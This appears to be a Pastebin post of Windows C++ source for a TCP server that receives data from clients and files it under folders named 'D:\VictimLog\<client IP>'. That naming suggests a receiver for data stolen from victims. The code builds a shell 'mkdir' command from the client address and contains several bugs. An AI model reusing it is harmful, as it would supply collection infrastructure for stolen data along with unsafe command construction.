Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Server.cpp : Defines the entry point for the console application.
- //
- #include "stdafx.h"
- #include <windows.h>
- #include <atlstr.h>
- #include <tchar.h>
- #pragma comment(lib, "ws2_32.lib")
- #define SRV_PORT 44000
- #define buffsize 2000000
- typedef struct {
- char str[buffsize];
- } MESSAGE;
- int sendall(char *msg, int len, SOCKET sock)
- {
- char *buf = msg;
- int remained = len;
- int error = 0, count;
- while (remained && !error)
- {
- count = send(sock, buf, remained, 0);
- error = (count == 0);
- remained -= count;
- buf += count;
- }
- return error;
- }
- int recvall(char *msg, int len, SOCKET sock)
- {
- char *buf = msg;
- int remained = len;
- int error = 0, count;
- while (remained && !error)
- {
- count = recv(sock, buf, remained, 0);
- error = (count == 0);
- remained -= count;
- buf += count;
- }
- return error;
- }
- typedef struct
- {
- SOCKET sock;
- SOCKADDR_IN saClient;
- DWORD id;
- }THREAD_PARAM;
- SOCKET ListeningSocket(USHORT port)
- {
- //Init winsock
- WORD wVersionRequested = MAKEWORD(2, 0);
- WSADATA wsaData;
- int err;
- err = WSAStartup(wVersionRequested, &wsaData);
- if (err)
- return INVALID_SOCKET;
- //Create socket
- SOCKET sock;
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if (sock == INVALID_SOCKET)
- return INVALID_SOCKET;
- //Bind the socket
- struct sockaddr_in addr;
- addr.sin_family = AF_INET;
- addr.sin_addr.s_addr = htonl(INADDR_ANY);
- addr.sin_port = htons(port);
- err = bind(sock, (sockaddr*)&addr, sizeof(addr));
- if (err)
- {
- closesocket(sock);
- return INVALID_SOCKET;
- }
- //Start listening
- err = listen(sock, SOMAXCONN);
- if (err)
- {
- closesocket(sock);
- return INVALID_SOCKET;
- }
- return sock;
- }
- char *ip2str(DWORD ip) {
- char *res = (char*)malloc(16);
- sprintf_s(res, 16, "%d.%d.%d.%d", ip & 0xFF, ip >> 8 & 0xFF, ip >> 16 & 0xFF, ip >> 24 & 0xFF);
- return res;
- }
- BOOL DirectoryExists(LPCTSTR szPath)
- {
- DWORD dwAttrib = GetFileAttributes(szPath);
- return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
- (dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
- }
- DWORD WINAPI ServerThread(void *pParam)
- {
- THREAD_PARAM *pClientInfo = (THREAD_PARAM*)pParam;
- char *ipClient = ip2str(pClientInfo->saClient.sin_addr.S_un.S_addr);
- TCHAR FolderPath[MAX_PATH];
- TCHAR Command[MAX_PATH];
- MESSAGE msg;
- sprintf_s(msg.str, sizeof(MESSAGE::str), "%s", "Sent 1 file");
- recvall((char*)&msg, sizeof(MESSAGE::str), pClientInfo->sock);
- printf("Client No %d (%s:%d): %s\n", pClientInfo->id, ntohs(pClientInfo->saClient.sin_port), ipClient, msg.str);
- TCHAR tipClient[24];
- size_t Newsize = strlen(ipClient) + 1;
- size_t ConvertedChars = 0;
- mbstowcs_s(&ConvertedChars, tipClient, Newsize, ipClient, _TRUNCATE);
- _swprintf(FolderPath, _T("D:\\VictimLog\\%s"), ipClient);
- _tprintf(_T("%s"), FolderPath);
- if (!DirectoryExists(FolderPath)) {
- printf("\r\nCreat folder...\r\n");
- _swprintf(Command, _T("mkdir %s"), FolderPath);
- _wsystem(Command);
- }
- else _tprintf(_T("\n%s existing."), FolderPath);
- closesocket(pClientInfo->sock);
- return 0;
- }
- int main()
- {
- SOCKET sListeningSocket, sWorkingSocket;
- SOCKADDR_IN addrClient;
- int nClientAddressLen;
- HANDLE hServerThread;
- THREAD_PARAM tp;
- DWORD dwClientCount = 0;
- char filebuf[buffsize];
- int filebuflen = buffsize;
- printf("Starting the server socket...");
- sListeningSocket = ListeningSocket(SRV_PORT);
- if (sListeningSocket != INVALID_SOCKET)
- printf("OK\n");
- else
- printf("FAILED\n");
- while (1)
- {
- printf("Waiting for a client...\n");
- nClientAddressLen = sizeof(addrClient);
- sWorkingSocket = accept(sListeningSocket, (sockaddr*)&addrClient, &nClientAddressLen);
- if (sWorkingSocket == INVALID_SOCKET)
- {
- printf("failed!!!!!");
- break;
- }
- int bytes_to_read = recv(sWorkingSocket, filebuf, filebuflen, 0);
- if (bytes_to_read == 0)
- break;//ket thuc doc file
- if (bytes_to_read < 0)
- printf("File read error");
- tp.sock = sWorkingSocket;
- tp.saClient = addrClient;
- tp.id = ++dwClientCount;
- hServerThread = CreateThread(NULL, 0, ServerThread, &tp, 0, NULL);
- }
- FILE *fp;
- fp = fopen("test.txt", "wb");
- fwrite(filebuf, 1, sizeof(filebuf), fp);
- fclose(fp);
- WSACleanup();
- getchar();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement